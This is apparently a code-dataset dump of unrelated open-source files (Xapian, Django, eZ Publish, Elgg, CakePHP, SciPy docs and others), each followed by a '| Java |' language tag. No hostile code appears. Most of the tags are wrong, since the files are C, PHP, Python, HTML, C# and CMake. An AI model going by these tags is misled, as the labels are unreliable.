if (!g_av_mute) {
if (en) {
s5p_hdmi_video_set_bluescreen(true, 128, 0, 128);
s5p_hdmi_audio_enable(false);
} else {
s5p_hdmi_video_set_bluescreen(false, 128, 0, 128);
if (g_audio_en)
s5p_hdmi_audio_enable(true);
}
}
}
| Java |
/** @file esetinternal.h
* @brief Xapian::ESet::Internal class
*/
/* Copyright (C) 2008,2010 Olly Betts
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef XAPIAN_INCLUDED_ESETINTERNAL_H
#define XAPIAN_INCLUDED_ESETINTERNAL_H
#include "xapian/base.h"
#include "xapian/enquire.h"
#include "xapian/types.h"
#include <algorithm>
#include <string>
#include <vector>
namespace Xapian {
class Database;
class ExpandDecider;
namespace Internal {
class ExpandWeight;
/// Class combining a term and its expand weight.
class ExpandTerm {
friend class Xapian::ESetIterator;
friend class Xapian::ESet::Internal;
/// The expand weight calculated for this term.
Xapian::weight wt;
/// The term.
std::string term;
public:
/// Constructor.
ExpandTerm(Xapian::weight wt_, const std::string & term_)
: wt(wt_), term(term_) { }
/// Implement custom swap for ESet sorting efficiency.
void swap(ExpandTerm & o) {
std::swap(wt, o.wt);
std::swap(term, o.term);
}
/// Ordering relation for ESet contents.
bool operator<(const ExpandTerm & o) const {
if (wt > o.wt) return true;
if (wt < o.wt) return false;
return term > o.term;
}
/// Return a string describing this object.
std::string get_description() const;
};
}
/// Class which actually implements Xapian::ESet.
class ESet::Internal : public Xapian::Internal::RefCntBase {
friend class ESet;
friend class ESetIterator;
/** This is a lower bound on the ESet size if an infinite number of results
* were requested.
*
* It will of course always be true that: ebound >= items.size()
*/
Xapian::termcount ebound;
/// The ExpandTerm objects which represent the items in the ESet.
std::vector<Xapian::Internal::ExpandTerm> items;
/// Don't allow assignment.
void operator=(const Internal &);
/// Don't allow copying.
Internal(const Internal &);
public:
/// Construct an empty ESet::Internal.
Internal() : ebound(0) { }
/// Run the "expand" operation which fills the ESet.
void expand(Xapian::termcount max_esize,
const Xapian::Database & db,
const Xapian::RSet & rset,
const Xapian::ExpandDecider * edecider,
const Xapian::Internal::ExpandWeight & eweight);
/// Return a string describing this object.
std::string get_description() const;
};
}
#endif // XAPIAN_INCLUDED_ESETINTERNAL_H
| Java |
# encoding: utf8
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = []
operations = [
migrations.CreateModel(
fields = [(u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True),), ('name', models.CharField(max_length=255),), ('email', models.EmailField(max_length=75),), ('message', models.TextField(),), ('date', models.DateField(auto_now=True),)],
bases = (models.Model,),
options = {},
name = 'Contact',
),
migrations.CreateModel(
fields = [(u'id', models.AutoField(verbose_name=u'ID', serialize=False, auto_created=True, primary_key=True),), ('date', models.DateTimeField(),), ('title', models.CharField(max_length=255),), ('code', models.CharField(max_length=255),), ('summary', models.TextField(),)],
bases = (models.Model,),
options = {},
name = 'Commits',
),
]
| Java |
/******************************************************************************
* File : velocity_tria3.c *
* Author : Carlos Rosales Fernandez (carlos@ihpc.a-star.edu.sg) *
* Date : 01-09-2006 *
* Revision : 1.0 *
*******************************************************************************
* DESCRIPTION *
* Calculates the three components of the flow speed at a given point Xin[] *
* and returns the values in array U[]. *
* Works for linear interpolation in triangular elements (3-noded triangles). *
******************************************************************************/
/******************************************************************************
* COPYRIGHT & LICENSE INFORMATION *
* *
* Copyright 2006 Carlos Rosales Fernandez and The Institute of High *
* Performance Computing (A*STAR) *
* *
* This file is part of stkSolver. *
* *
* stkSolver is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* stkSolver is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with stkSolver; if not, write to the Free Software *
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA *
******************************************************************************/
#include "constants.h"
#include "velocity_tria3.h"
int velocity_tria3(double *Xin, double **mNodes, unsigned int **mElems,
double *vProbParam, double *vB, double *U)
{
const unsigned int ELEMS = nElems, NODES_IN_ELEM = 3;
unsigned int currentNode, i, j, SinNode, test, xNode, yNode, zNode;
double dx, dy, dz, factor;
double X[3][3];
double Int[3][3][3];
/* Initialize */
U[0] = U[1] = U[2] = 0.0;
factor = 1.0/(8.0*pi*vProbParam[0]);
for(i = 0; i < ELEMS; i++){
for(j = 0; j < NODES_IN_ELEM; j++){
currentNode = mElems[i][j] - 1;
X[j][0] = mNodes[currentNode][0];
X[j][1] = mNodes[currentNode][1];
X[j][2] = mNodes[currentNode][2];
}
/* Check for singular case */
test = 0;
for(j = 0; j < NODES_IN_ELEM; j++){
dx = X[j][0] - Xin[0];
dy = X[j][1] - Xin[1];
dz = X[j][2] - Xin[2];
if(dx == 0.0 && dy == 0.0 && dz == 0.0){
test = 1;
SinNode = j+1;
break;
}
}
if(test == 0) intGStk_tria3(X,Xin,Int);
else intSingularGStk_tria3(SinNode,X,Xin,Int);
/* Add cotribution from each node j in element i */
for(j = 0; j < NODES_IN_ELEM; j++){
xNode = mElems[i][j] - 1;
yNode = xNode + nNodes;
zNode = yNode + nNodes;
U[0] -= Int[0][0][j]*vB[xNode] + Int[0][1][j]*vB[yNode] + /* Ux */
Int[0][2][j]*vB[zNode];
U[1] -= Int[1][0][j]*vB[xNode] + Int[1][1][j]*vB[yNode] + /* Uy */
Int[1][2][j]*vB[zNode];
U[2] -= Int[2][0][j]*vB[xNode] + Int[2][1][j]*vB[yNode] + /* Uz */
Int[2][2][j]*vB[zNode];
}
}
U[0] = U[0]*factor;
U[1] = U[1]*factor;
U[2] = U[2]*factor;
return 0;
}
| Java |
<?php
/**
* @copyright Copyright (C) eZ Systems AS. All rights reserved.
* @license For full copyright and license information view LICENSE file distributed with this source code.
*/
namespace eZ\Publish\Core\Search\Legacy\Content\Location\Gateway\CriterionHandler;
use eZ\Publish\Core\Search\Legacy\Content\Common\Gateway\CriterionHandler;
use eZ\Publish\Core\Search\Legacy\Content\Common\Gateway\CriteriaConverter;
use eZ\Publish\API\Repository\Values\Content\Query\Criterion;
use eZ\Publish\Core\Persistence\Database\SelectQuery;
/**
* Visits the Ancestor criterion.
*/
class Ancestor extends CriterionHandler
{
/**
* Check if this criterion handler accepts to handle the given criterion.
*
* @param \eZ\Publish\API\Repository\Values\Content\Query\Criterion $criterion
*
* @return bool
*/
public function accept(Criterion $criterion)
{
return $criterion instanceof Criterion\Ancestor;
}
/**
* Generate query expression for a Criterion this handler accepts.
*
* accept() must be called before calling this method.
*
* @param \eZ\Publish\Core\Search\Legacy\Content\Common\Gateway\CriteriaConverter $converter
* @param \eZ\Publish\Core\Persistence\Database\SelectQuery $query
* @param \eZ\Publish\API\Repository\Values\Content\Query\Criterion $criterion
* @param array $languageSettings
*
* @return \eZ\Publish\Core\Persistence\Database\Expression
*/
public function handle(
CriteriaConverter $converter,
SelectQuery $query,
Criterion $criterion,
array $languageSettings
) {
$idSet = [];
foreach ($criterion->value as $value) {
foreach (explode('/', trim($value, '/')) as $id) {
$idSet[$id] = true;
}
}
return $query->expr->in(
$this->dbHandler->quoteColumn('node_id', 'ezcontentobject_tree'),
array_keys($idSet)
);
}
}
| Java |
using System;
using System.Collections.Generic;
using System.Management;
using System.Security.Principal;
using Microsoft.Win32;
using PowerPointLabs.ActionFramework.Common.Log;
namespace PowerPointLabs.Utils
{
/// <summary>
/// A class that allows watching of Registry Key values.
/// </summary>
class RegistryWatcher<T> where T : IEquatable<T>
{
private readonly string path;
private readonly string key;
private readonly List<T> defaultKey;
private ManagementEventWatcher watcher;
// returns true if the key started as defaultKey and is not modified, else false
public bool IsDefaultKey { get; private set; }
public event EventHandler<T> ValueChanged;
public RegistryWatcher(string path, string key, List<T> defaultKey)
{
this.path = path;
this.key = key;
this.defaultKey = defaultKey;
this.IsDefaultKey = true;
RegisterKeyChanged();
try
{
GetKeyAndUpdateKeyStatus();
}
catch (Exception)
{
// There is a possibility no registry entries have been created yet
}
}
/// <summary>
/// Fires the event manually
/// </summary>
public void Fire()
{
Notify();
}
public void Start()
{
watcher.Start();
}
public void Stop()
{
watcher.Stop();
}
public void SetValue(object o)
{
WindowsIdentity currentUser = WindowsIdentity.GetCurrent();
Registry.SetValue(String.Format("{0}\\{1}", currentUser.User.Value, path), key, o);
}
private void RegisterKeyChanged()
{
WindowsIdentity currentUser = WindowsIdentity.GetCurrent();
WqlEventQuery query = new WqlEventQuery(
"SELECT * FROM RegistryValueChangeEvent WHERE " +
"Hive = 'HKEY_USERS'" +
String.Format(@"AND KeyPath = '{0}\\{1}' AND ValueName='{2}'", currentUser.User.Value, path, key));
watcher = new ManagementEventWatcher(query);
watcher.EventArrived += (object sender, EventArrivedEventArgs e) => { Notify(); };
}
private T GetKeyAndUpdateKeyStatus()
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(path))
{
object objectValue;
if (key == null || (objectValue = key.GetValue(this.key)) == null)
{
throw new Exceptions.AssumptionFailedException("Key is null");
}
T result = (T)objectValue;
IsDefaultKey &= defaultKey == null || defaultKey.Contains(result);
return result;
}
}
private void Notify()
{
try
{
T key = GetKeyAndUpdateKeyStatus();
if (IsDefaultKey)
{
return;
}
ValueChanged?.Invoke(this, key);
}
catch (Exception e)
{
Logger.LogException(e, nameof(Notify));
}
}
}
}
| Java |
<!DOCTYPE html>
<html>
<!-- Mirrored from www.w3schools.com/aspnet/try_razor_cs_011.asp by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:13:45 GMT -->
<body>
<p>The price is OK.</p>
</body>
<!-- Mirrored from www.w3schools.com/aspnet/try_razor_cs_011.asp by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:13:45 GMT -->
</html> | Java |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>scipy.special.eval_hermite — SciPy v0.16.1 Reference Guide</title>
<link rel="stylesheet" type="text/css" href="../static_/css/spc-bootstrap.css">
<link rel="stylesheet" type="text/css" href="../static_/css/spc-extend.css">
<link rel="stylesheet" href="../static_/scipy.css" type="text/css" >
<link rel="stylesheet" href="../static_/pygments.css" type="text/css" >
<script type="text/javascript">
var DOCUMENTATION_OPTIONS = {
URL_ROOT: '../',
VERSION: '0.16.1',
COLLAPSE_INDEX: false,
FILE_SUFFIX: '.html',
HAS_SOURCE: false
};
</script>
<script type="text/javascript" src="../static_/jquery.js"></script>
<script type="text/javascript" src="../static_/underscore.js"></script>
<script type="text/javascript" src="../static_/doctools.js"></script>
<script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<script type="text/javascript" src="../static_/js/copybutton.js"></script>
<link rel="top" title="SciPy v0.16.1 Reference Guide" href="../index.html" >
<link rel="up" title="Special functions (scipy.special)" href="../special.html" >
<link rel="next" title="scipy.special.eval_hermitenorm" href="scipy.special.eval_hermitenorm.html" >
<link rel="prev" title="scipy.special.eval_genlaguerre" href="scipy.special.eval_genlaguerre.html" >
</head>
<body>
<div class="container">
<div class="header">
</div>
</div>
<div class="container">
<div class="main">
<div class="row-fluid">
<div class="span12">
<div class="spc-navbar">
<ul class="nav nav-pills pull-left">
<li class="active"><a href="../index.html">SciPy v0.16.1 Reference Guide</a></li>
<li class="active"><a href="../special.html" accesskey="U">Special functions (<tt class="docutils literal"><span class="pre">scipy.special</span></tt>)</a></li>
</ul>
<ul class="nav nav-pills pull-right">
<li class="active">
<a href="../genindex.html" title="General Index"
accesskey="I">index</a>
</li>
<li class="active">
<a href="../py-modindex.html" title="Python Module Index"
>modules</a>
</li>
<li class="active">
<a href="../scipy-optimize-modindex.html" title="Python Module Index"
>modules</a>
</li>
<li class="active">
<a href="scipy.special.eval_hermitenorm.html" title="scipy.special.eval_hermitenorm"
accesskey="N">next</a>
</li>
<li class="active">
<a href="scipy.special.eval_genlaguerre.html" title="scipy.special.eval_genlaguerre"
accesskey="P">previous</a>
</li>
</ul>
</div>
</div>
</div>
<div class="row-fluid">
<div class="spc-rightsidebar span3">
<div class="sphinxsidebarwrapper">
<p class="logo"><a href="../index.html">
<img class="logo" src="../static_/scipyshiny_small.png" alt="Logo">
</a></p>
<h4>Previous topic</h4>
<p class="topless"><a href="scipy.special.eval_genlaguerre.html"
title="previous chapter">scipy.special.eval_genlaguerre</a></p>
<h4>Next topic</h4>
<p class="topless"><a href="scipy.special.eval_hermitenorm.html"
title="next chapter">scipy.special.eval_hermitenorm</a></p>
</div>
</div>
<div class="span9">
<div class="bodywrapper">
<div class="body" id="spc-section-body">
<div class="section" id="scipy-special-eval-hermite">
<h1>scipy.special.eval_hermite<a class="headerlink" href="#scipy-special-eval-hermite" title="Permalink to this headline">¶</a></h1>
<dl class="data">
<dt id="scipy.special.eval_hermite">
<tt class="descclassname">scipy.special.</tt><tt class="descname">eval_hermite</tt><big>(</big><em>n</em>, <em>x</em>, <em>out=None</em><big>)</big><em class="property"> = <ufunc 'eval_hermite'></em><a class="headerlink" href="#scipy.special.eval_hermite" title="Permalink to this definition">¶</a></dt>
<dd><p>Evaluate Hermite polynomial at a point.</p>
</dd></dl>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container container-navbar-bottom">
<div class="spc-navbar">
</div>
</div>
<div class="container">
<div class="footer">
<div class="row-fluid">
<ul class="inline pull-left">
<li>
© Copyright 2008-2014, The Scipy community.
</li>
<li>
Last updated on Oct 24, 2015.
</li>
<li>
Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.2.1.
</li>
</ul>
</div>
</div>
</div>
</body>
</html> | Java |
<?php
/**********************************************************
* Lidiun PHP Framework 4.0 - (http://www.lidiun.com)
*
* @Created in 26/08/2013
* @Author Dyon Enedi <dyonenedi@hotmail.com>
* @Modify in 04/08/2014
* @By Dyon Enedi <dyonenedi@hotmail.com>
* @Contributor Gabriela A. Ayres Garcia <gabriela.ayres.garcia@gmail.com>
* @Contributor Rodolfo Bulati <rbulati@gmail.com>
* @License: free
*
**********************************************************/
class Panel
{
public function __construct() {
}
} | Java |
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Amelia Valcarcel</title>
<!-- Bootstrap Core CSS - Uses Bootswatch Flatly Theme: http://bootswatch.com/flatly/ -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/freelancer.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="font-awesome-4.1.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body id="page-top" class="index">
<!-- Header -->
<header>
<div class="container">
<div class="row">
<div class="col-lg-12">
<img class="img-responsive" src="img/profile.png" alt="">
<div class="intro-text">
<span class="name">Amelia Valcarcel</span>
<hr class="star-light">
<span class="skills">En estos momentos estamos renovando la web, disculpen las molestias</span>
</div>
</div>
</div>
</div>
</header>
<!-- jQuery -->
<script src="js/jquery.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="js/bootstrap.min.js"></script>
<!-- Plugin JavaScript -->
<script src="http://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>
<script src="js/classie.js"></script>
<script src="js/cbpAnimatedHeader.js"></script>
<!-- Contact Form JavaScript -->
<script src="js/jqBootstrapValidation.js"></script>
<script src="js/contact_me.js"></script>
<!-- Custom Theme JavaScript -->
<script src="js/freelancer.js"></script>
</body>
</html>
| Java |
<?php
$files = elgg_extract("files", $vars, array());
$folder = elgg_extract("folder", $vars);
$folder_content = elgg_view("file_tools/breadcrumb", array("entity" => $folder));
if(!($sub_folders = file_tools_get_sub_folders($folder))){
$sub_folders = array();
}
$entities = array_merge($sub_folders, $files) ;
if(!empty($entities)) {
$params = array(
"full_view" => false,
"pagination" => false
);
elgg_push_context("file_tools_selector");
$files_content = elgg_view_entity_list($entities, $params);
elgg_pop_context();
}
if(empty($files_content)){
$files_content = elgg_echo("file_tools:list:files:none");
} else {
$files_content .= "<div class='clearfix'>";
if(elgg_get_page_owner_entity()->canEdit()) {
$files_content .= '<a id="file_tools_action_bulk_delete" href="javascript:void(0);">' . elgg_echo("file_tools:list:delete_selected") . '</a> | ';
}
$files_content .= "<a id='file_tools_action_bulk_download' href='javascript:void(0);'>" . elgg_echo("file_tools:list:download_selected") . "</a>";
$files_content .= "<a id='file_tools_select_all' class='float-alt' href='javascript:void(0);'>";
$files_content .= "<span>" . elgg_echo("file_tools:list:select_all") . "</span>";
$files_content .= "<span class='hidden'>" . elgg_echo("file_tools:list:deselect_all") . "</span>";
$files_content .= "</a>";
$files_content .= "</div>";
}
$files_content .= elgg_view("graphics/ajax_loader");
?>
<div id="file_tools_list_files">
<div id="file_tools_list_files_overlay"></div>
<?php
echo $folder_content;
echo $files_content;
?>
</div>
<?php
$page_owner = elgg_get_page_owner_entity();
if($page_owner->canEdit() || (elgg_instanceof($page_owner, "group") && $page_owner->isMember())) { ?>
<script type="text/javascript">
$(function(){
$("#file_tools_list_files .file-tools-file").draggable({
revert: "invalid",
opacity: 0.8,
appendTo: "body",
helper: "clone",
start: function(event, ui) {
$(this).css("visibility", "hidden");
$(ui.helper).width($(this).width());
},
stop: function(event, ui) {
$(this).css("visibility", "visible");
}
});
$("#file_tools_list_files .file-tools-folder").droppable({
accept: "#file_tools_list_files .file-tools-file",
drop: function(event, ui){
droppable = $(this);
draggable = ui.draggable;
drop_id = droppable.parent().attr("id").split("-").pop();
drag_id = draggable.parent().attr("id").split("-").pop();
elgg.file_tools.move_file(drag_id, drop_id, draggable);
}
});
});
</script>
<?php
} | Java |
<?php
namespace App\Controller;
use App\Controller\AppController;
/**
* Customers Controller
*
* @property \App\Model\Table\CustomersTable $Customers
*/
class CustomersController extends AppController
{
/**
* Index method
*
* @return void
*/
public function index()
{
$this->set('customers', $this->paginate($this->Customers));
$this->set('_serialize', ['customers']);
}
/**
* View method
*
* @param string|null $id Customer id.
* @return void
* @throws \Cake\Network\Exception\NotFoundException When record not found.
*/
public function view($id = null)
{
$customer = $this->Customers->get($id, [
'contain' => ['Orders']
]);
$this->set('customer', $customer);
$this->set('_serialize', ['customer']);
}
/**
* Add method
*
* @return void Redirects on successful add, renders view otherwise.
*/
public function add()
{
$customer = $this->Customers->newEntity();
if ($this->request->is('post')) {
$customer = $this->Customers->patchEntity($customer, $this->request->data);
if ($this->Customers->save($customer)) {
$this->Flash->success('The customer has been saved.');
return $this->redirect(['action' => 'index']);
} else {
$this->Flash->error('The customer could not be saved. Please, try again.');
}
}
$this->set(compact('customer'));
$this->set('_serialize', ['customer']);
}
/**
* Edit method
*
* @param string|null $id Customer id.
* @return void Redirects on successful edit, renders view otherwise.
* @throws \Cake\Network\Exception\NotFoundException When record not found.
*/
public function edit($id = null)
{
$customer = $this->Customers->get($id, [
'contain' => []
]);
if ($this->request->is(['patch', 'post', 'put'])) {
$customer = $this->Customers->patchEntity($customer, $this->request->data);
if ($this->Customers->save($customer)) {
$this->Flash->success('The customer has been saved.');
return $this->redirect(['action' => 'index']);
} else {
$this->Flash->error('The customer could not be saved. Please, try again.');
}
}
$this->set(compact('customer'));
$this->set('_serialize', ['customer']);
}
/**
* Delete method
*
* @param string|null $id Customer id.
* @return void Redirects to index.
* @throws \Cake\Network\Exception\NotFoundException When record not found.
*/
public function delete($id = null)
{
$this->request->allowMethod(['post', 'delete']);
$customer = $this->Customers->get($id);
if ($this->Customers->delete($customer)) {
$this->Flash->success('The customer has been deleted.');
} else {
$this->Flash->error('The customer could not be deleted. Please, try again.');
}
return $this->redirect(['action' => 'index']);
}
}
| Java |
# force floating point division. Can still use integer with //
from __future__ import division
# This file is used for importing the common utilities classes.
import numpy as np
import matplotlib.pyplot as plt
import sys
sys.path.append("../../../../../")
from EnergyLandscapes.Lifetime_Dudko2008.Python.TestExamples.Util import \
Example_Data
def PlotFit(data,BaseName):
fig = Example_Data.PlotHistograms(data)
fig.savefig(BaseName + "_Histogram.png")
fig = Example_Data.PlotLifetimesAndFit(data)
fig.savefig(BaseName + "_Lifetimes.png")
def run():
"""
"""
# figure 1 from dudko 2008
data = Example_Data.Dudko2008Fig1_Probabilities()
PlotFit(data,"../Out/Dudko2008_Fig1")
# figure 2 frm dudko 2008
data = Example_Data.Dudko2008Fig2_Probabilities()
PlotFit(data,"../Out/Dudko2008_Fig2")
if __name__ == "__main__":
run()
| Java |
// Wildebeest Migration Framework
// Copyright © 2013 - 2018, Matheson Ventures Pte Ltd
//
// This file is part of Wildebeest
//
// Wildebeest is free software: you can redistribute it and/or modify it under
// the terms of the GNU General Public License v2 as published by the Free
// Software Foundation.
//
// Wildebeest is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// Wildebeest. If not, see http://www.gnu.org/licenses/gpl-2.0.html
package co.mv.wb.plugin.generaldatabase.dom;
import co.mv.wb.Asserts;
import co.mv.wb.InvalidReferenceException;
import co.mv.wb.LoaderFault;
import co.mv.wb.ModelExtensions;
import co.mv.wb.PluginBuildException;
import co.mv.wb.Resource;
import co.mv.wb.fixture.Fixtures;
import co.mv.wb.impl.ResourceTypeServiceBuilder;
import co.mv.wb.plugin.base.dom.DomPlugins;
import co.mv.wb.plugin.base.dom.DomResourceLoader;
import co.mv.wb.plugin.generaldatabase.AnsiSqlCreateDatabaseMigration;
import co.mv.wb.plugin.generaldatabase.AnsiSqlDropDatabaseMigration;
import co.mv.wb.plugin.generaldatabase.AnsiSqlTableDoesNotExistAssertion;
import co.mv.wb.plugin.generaldatabase.AnsiSqlTableExistsAssertion;
import co.mv.wb.plugin.postgresql.PostgreSqlConstants;
import org.junit.Assert;
import org.junit.Test;
import java.io.File;
import java.util.Optional;
import java.util.UUID;
/**
* Unit tests for the DOM persistence services for ANSI SQL plugins.
*
* @since 4.0
*/
public class AnsiSqlDomServiceUnitTests
{
@Test
public void ansiSqlCreateDatabaseMigrationLoadFromValidDocument() throws
LoaderFault,
PluginBuildException,
InvalidReferenceException
{
// Setup
UUID migrationId = UUID.randomUUID();
UUID toStateId = UUID.randomUUID();
String xml = Fixtures
.resourceXmlBuilder()
.resource(PostgreSqlConstants.PostgreSqlDatabase.getUri(), UUID.randomUUID(), "Foo")
.migration("AnsiSqlCreateDatabase", migrationId, null, toStateId.toString())
.render();
DomResourceLoader loader = DomPlugins.resourceLoader(
ResourceTypeServiceBuilder
.create()
.withFactoryResourceTypes()
.build(),
xml);
// Execute
Resource resource = loader.load(new File("."));
// Verify
Assert.assertNotNull("resource", resource);
Assert.assertEquals("resource.migrations.size", 1, resource.getMigrations().size());
AnsiSqlCreateDatabaseMigration mT = ModelExtensions.as(
resource.getMigrations().get(0),
AnsiSqlCreateDatabaseMigration.class);
Assert.assertNotNull(
"resourceWithPlugin.resource.migrations[0] expected to be of type AnsiSqlCreateDatabaseMigration",
mT);
Assert.assertEquals(
"resourceWithPlugin.resource.migrations[0].id",
migrationId,
mT.getMigrationId());
Assert.assertEquals(
"resourceWithPlugin.resource.migrations[0].fromStateId",
Optional.empty(),
mT.getFromState());
Assert.assertEquals(
"resourceWithPlugin.resource.migrations[0].toStateId",
Optional.of(toStateId.toString()),
mT.getToState());
}
@Test
public void ansiSqlDropDatabaseMigrationLoadFromValidDocument() throws
LoaderFault,
PluginBuildException,
InvalidReferenceException
{
// Setup
UUID migrationId = UUID.randomUUID();
String toState = UUID.randomUUID().toString();
String xml = Fixtures
.resourceXmlBuilder()
.resource(PostgreSqlConstants.PostgreSqlDatabase.getUri(), UUID.randomUUID(), "Foo")
.migration("AnsiSqlDropDatabase", migrationId, null, toState.toString())
.render();
DomResourceLoader loader = DomPlugins.resourceLoader(
ResourceTypeServiceBuilder
.create()
.withFactoryResourceTypes()
.build(),
xml);
// Execute
Resource resource = loader.load(new File("."));
// Verify
Assert.assertNotNull("resource", resource);
Assert.assertEquals("resource.migrations.size", 1, resource.getMigrations().size());
AnsiSqlDropDatabaseMigration mT = ModelExtensions.as(
resource.getMigrations().get(0),
AnsiSqlDropDatabaseMigration.class);
Assert.assertNotNull("resource.migrations[0] expected to be of type AnsiSqlDropDatabaseMigration", mT);
Assert.assertEquals(
"resource.migrations[0].id",
migrationId,
mT.getMigrationId());
Assert.assertEquals(
"resource.migrations[0].fromState",
Optional.empty(),
mT.getFromState());
Assert.assertEquals(
"resource.migrations[0].toState",
Optional.of(toState),
mT.getToState());
}
@Test
public void ansiSqlTableExistsAssertionLoadFromValidDocument() throws
LoaderFault,
PluginBuildException,
InvalidReferenceException
{
// Setup
UUID assertionId = UUID.randomUUID();
String xml = Fixtures
.resourceXmlBuilder()
.resource(PostgreSqlConstants.PostgreSqlDatabase.getUri(), UUID.randomUUID(), "Foo")
.state(UUID.randomUUID(), null)
.assertion("AnsiSqlTableExists", assertionId)
.appendInnerXml("<schemaName>sch</schemaName>")
.appendInnerXml("<tableName>tbl</tableName>")
.build();
DomResourceLoader loader = DomPlugins.resourceLoader(
ResourceTypeServiceBuilder
.create()
.withFactoryResourceTypes()
.build(),
xml);
// Execute
Resource resource = loader.load(new File("."));
// Verify
Assert.assertNotNull("resource", resource);
Assert.assertEquals("resource.states.size", 1, resource.getStates().size());
Assert.assertEquals(
"resource.states[0].assertions.size",
1,
resource.getStates().get(0).getAssertions().size());
AnsiSqlTableExistsAssertion assertionT = ModelExtensions.as(
resource.getStates().get(0).getAssertions().get(0),
AnsiSqlTableExistsAssertion.class);
Assert.assertNotNull("Expected to be an AnsiSqlTableExistsAssertion", assertionT);
Asserts.assertAnsiSqlTableExistsAssertion(
assertionId,
"sch",
"tbl",
assertionT,
"resource.states[0].assertions[0]");
}
@Test
public void ansiSqlTableDoesNotExistAssertionLoadFromValidDocument() throws
LoaderFault,
PluginBuildException,
InvalidReferenceException
{
// Setup
UUID assertionId = UUID.randomUUID();
String xml = Fixtures
.resourceXmlBuilder()
.resource(PostgreSqlConstants.PostgreSqlDatabase.getUri(), UUID.randomUUID(), "Foo")
.state(UUID.randomUUID(), null)
.assertion("AnsiSqlTableDoesNotExist", assertionId)
.appendInnerXml("<schemaName>sch</schemaName>")
.appendInnerXml("<tableName>tbl</tableName>")
.build();
DomResourceLoader loader = DomPlugins.resourceLoader(
ResourceTypeServiceBuilder
.create()
.withFactoryResourceTypes()
.build(),
xml);
// Execute
Resource resource = loader.load(new File("."));
// Verify
Assert.assertNotNull("resource", resource);
Assert.assertEquals("resource.states.size", 1, resource.getStates().size());
Assert.assertEquals(
"resource.states[0].assertions.size",
1,
resource.getStates().get(0).getAssertions().size());
AnsiSqlTableDoesNotExistAssertion assertionT = ModelExtensions.as(
resource.getStates().get(0).getAssertions().get(0),
AnsiSqlTableDoesNotExistAssertion.class);
Assert.assertNotNull("Expected to be an AnsiSqlTableDoesNotExistAssertion", assertionT);
Asserts.assertAnsiSqlTableDoesNotExistAssertion(
assertionId,
"sch",
"tbl",
assertionT,
"resource.states[0].assertions[0]");
}
}
| Java |
# CMAKE generated file: DO NOT EDIT!
# Generated by "Unix Makefiles" Generator, CMake Version 2.8
# Relative path conversion top directories.
SET(CMAKE_RELATIVE_PATH_TOP_SOURCE "/home/robot/bebop_ws/src/navigation_tutorials/navigation_stage")
SET(CMAKE_RELATIVE_PATH_TOP_BINARY "/home/robot/bebop_ws/build/navigation_stage")
# Force unix paths in dependencies.
SET(CMAKE_FORCE_UNIX_PATHS 1)
# The C and CXX include file regular expressions for this directory.
SET(CMAKE_C_INCLUDE_REGEX_SCAN "^.*$")
SET(CMAKE_C_INCLUDE_REGEX_COMPLAIN "^$")
SET(CMAKE_CXX_INCLUDE_REGEX_SCAN ${CMAKE_C_INCLUDE_REGEX_SCAN})
SET(CMAKE_CXX_INCLUDE_REGEX_COMPLAIN ${CMAKE_C_INCLUDE_REGEX_COMPLAIN})
| Java |
#include <string.h>
#include <sys/time.h>
#include <sys/resource.h>
///////////////////////////////////////
// Function: trim - Remove "\n" //
///////////////////////////////////////
int trim(char *line) {
int end_pos = strlen(line) - 1;
if (line[end_pos] == '\n') {
line[end_pos] = '\0';
return 1;
}
return 0;
}
///////////////////////////////////////////////////////
// Function: get_time_cpu - Get CPU time //
///////////////////////////////////////////////////////
long get_time_cpu() {
struct rusage ru;
getrusage(RUSAGE_SELF, &ru);
return ru.ru_utime.tv_sec;
}
